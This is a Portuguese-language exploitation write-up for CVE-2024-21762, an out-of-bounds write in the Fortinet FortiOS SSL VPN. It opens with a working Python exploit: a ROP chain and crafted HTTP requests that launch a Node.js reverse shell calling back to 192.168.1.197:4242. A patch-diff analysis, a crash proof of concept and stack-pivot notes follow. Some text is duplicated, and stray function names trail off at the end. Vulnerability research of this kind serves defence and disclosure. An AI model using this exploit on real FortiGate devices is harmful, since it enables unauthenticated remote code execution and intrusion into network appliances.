
Escrita fora dos limites no Fortinet FortiOS vulnerabilidade CVE-2024-21762
Vulnerabilidade de escrita fora dos limites em Fortinet FortiOS CVE-2024-21762
ssl_do_handshake_ptr = b"%60%ce%42%00%00%00%00%00"
getcwd_ptr = b"%70%62%2c%04%00%00%00%00"
pivot_1 = b"%52%f7%fd%00%00%00%00%00" # push rdi; pop rsp; ret;
pivot_2 = b"%ac%c9%ab%02%00%00%00%00" # add rsp, 0x2a0; pop rbx; pop r12; pop rbp; ret;
rop = b""
rop += b"%c6%e2%46%00%00%00%00%00" # push rdi; pop rax; ret;
rop += b"%19%6f%4d%01%00%00%00%00" # sub rax, 0x2c8; ret;
rop += b"%8e%b2%fe%01%00%00%00%00" # add rax, 0x10; ret;
rop += b"%63%db%ae%02%00%00%00%00" # pop rcx; ret;
rop += b"%00%00%00%00%00%00%00%00" # zero rcx
rop += b"%38%ad%98%02%00%00%00%00" # or rcx, rax; setne al; movzx eax, al; ret;
rop += b"%c6%52%86%02%00%00%00%00" # shl rax, 4; add rax, rdx; ret;
rop += b"%6e%d0%3f%01%00%00%00%00" # or rdx, rcx; ret; - rdx is zero so this is a copy
rop += b"%a4%df%98%02%00%00%00%00" # sub rdx, rax; mov rax, rdx; ret;
rop += b"%f5%2c%e6%00%00%00%00%00" # sub rax, 0x10; ret;
rop += b"%e4%e6%d7%01%00%00%00%00" # add rsi, rax; mov [rdi+8], rsi; ret;
rop += b"%10%1b%0a%01%00%00%00%00" # push rax; pop rdi; add eax, 0x5d5c415b; ret;
rop += b"%25%0f%8d%02%00%00%00%00" # pop r8; ret; 0x028d0f25
rop += b"%00%00%00%00%00%00%00%00" # r8
pivot_3 = b"%e0%3f%4d%02%00%00%00%00" # add rsp, 0xd90; pop rbx; pop r12; pop rbp; ret;
call_execl = b"%80%c1%43%00%00%00%00%00"
bin_node = b"/bin/node%00"
e_flag = b"-e%00"
js_payload = b'(function(){var net%3drequire("net"),cp%3drequire("child_process"),sh%3dcp.spawn("/bin/node",["-i"]);var client%3dnew net.Socket();client.connect(4242,"192.168.1.197",function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();%00'
form_value = b""
form_value += b"B"*11 + bin_node + b"B"*6 + e_flag + b"B"*14 + js_payload
form_value += b"B"*438 + pivot_2 + getcwd_ptr
form_value += b"B"*32 + pivot_1
form_value += b"B"*168 + call_execl
form_value += b"B"*432 + ssl_do_handshake_ptr
form_value += b"B"*32 + rop + pivot_3
body = (b"B"*1808 + b"=" + form_value + b"&")*20
data = b"POST /remote/hostcheck_validate HTTP/1.1\r\n"
data += b"Host: 192.168.1.229\r\n"
data += f"Content-Length: {len(body)}\r\n".encode("utf-8")
data += b"\r\n"
data += body
ssock1 = make_sock(TARGET, PORT)
ssock1.sendall(data)
time.sleep(1)
ssock2 = make_sock(TARGET, PORT)
data = b"POST / HTTP/1.1\r\n"
data += b"Host: 192.168.1.229\r\n"
data += b"Transfer-Encoding: chunked\r\n"
data += b"\r\n"
data += b"0"*4137 + b"\0"
data += b"A"*1 + b"\r\n\r\n"
ssock2.sendall(data)
A FortiGate lançou uma atualização de versão em fevereiro, corrigindo várias vulnerabilidades de médio e alto risco. Uma das vulnerabilidades de nível severo é uma vulnerabilidade de escrita fora dos limites não autorizada no SSL VPN. O aviso de vulnerabilidade afirma que esta vulnerabilidade pode ser explorada na natureza. Este artigo apresentará a análise do autor sobre o processo de exploração desta vulnerabilidade para alcançar a execução remota de código.

O ambiente usado para a análise da vulnerabilidade neste artigo é FGT_VM64-v7.4.2.F-build2571.
Comparando os binários das versões corrigidas (7.4.2 e 7.4.3), a análise descobriu que o código de correção está localizado na função sub_18F4980 (7.4.2).

Analisando esta função, não é difícil perceber que a lógica desta função é ler os dados do corpo da solicitação HTTP POST. Ao mesmo tempo, o Transfer-Encoding é determinado de acordo com o cabeçalho da solicitação se deve ler no formato chunk ou com base no Content-Length. De acordo com os resultados da comparação do gráfico de fluxo de controle, existem duas modificações no código:
Ao analisar o formato chunk, a função ap_getline lê o comprimento do chunk e verifica se o valor de retorno de ap_getline é maior que 16. Se for maior que 16, é considerado um comprimento de chunk ilegal.

Ao ler o trailer do chunk, a fonte do offset \r\n escrito é a atribuição de line_off. Antes da correção, o valor de line_off vinha de *(_QWORD *)(a1 + 744), e após a correção, o valor de retorno é de ap_getline.
Continuando a rastrear adiante, o valor *(_QWORD *)(a1 + 744) que pode ser encontrado é o comprimento do campo de comprimento do chunk da primeira verificação.

Continuando a rastrear adiante, o valor *(_QWORD *)(a1 + 744) que pode ser encontrado é o comprimento do campo de comprimento do chunk da primeira verificação.

Ao mesmo tempo, lendo o código, pode-se dizer que quando o valor do campo de comprimento do chunk é 0 após a decodificação hexadecimal, ele entra na lógica de leitura do trailer do chunk.
Após analisar o patch, podemos tirar as seguintes conclusões:
ap_getline para ler o trailer do chunk, \r\n será escrito no buffer de acordo com o comprimento do campo de comprimento do chunk.Portanto, se muitos 0s forem passados no campo de comprimento do chunk, e o comprimento dos 0s for maior que 1/2 do buffer restante, uma escrita fora dos limites \r\n será disparada. Através de depuração, podemos saber que o buffer alvo está localizado na pilha (função sub_1A111E0), e o endereço de retorno está armazenado no offset 0x2028. Se escrito no offset 0x202e \r\n, ocorrerá uma falha devido a um endereço ilegal quando a função retornar para executar a instrução de restauração de rip.
PoC de falha:
pkt = b"""\
GET / HTTP/1.1
Host: %s
Transfer-Encoding: chunked
%s\r\n%s\r\n\r\n""" % (hostname.encode(), b"0"*((0x202e//2)-2), b"a")
ssock = create_ssock(hostname, port)
ssock.send(pkt)
ssock.recv(4096)
Cena da falha:

Analisando a causa da vulnerabilidade, pode-se ver que a vulnerabilidade pode ser usada para escrever dois bytes \r\n fora dos limites na pilha, e a faixa fora dos limites é próxima a 0x2000. Como o conteúdo escrito é muito limitado, o RCE não pode ser alcançado sequestrando diretamente o rip. Portanto, é necessário focar nos ponteiros de memória salvos na pilha.
O que é mais fácil de pensar é sequestrar rbp e sobrescrever o byte baixo de rbp para que rbp aponte exatamente para uma área de memória controlável. Quando a função de nível superior retorna para executar a instrução, rip pode ser completamente sequestrado. No entanto, durante a verificação, foi descoberto que mesmo que rbp na pilha seja sobrescrito, rsp e rip não podem ser sequestrados, e o programa não irá nem falhar. Continuando a rastrear para cima, encontramos a função pai. Esta função não chama leave ret para restaurar rsp quando retorna, mas sim add rsp, 0x18 diretamente, portanto não pode alcançar o efeito esperado. sub_1A111E0 sub_1A26040 leave ret add rsp, 0x18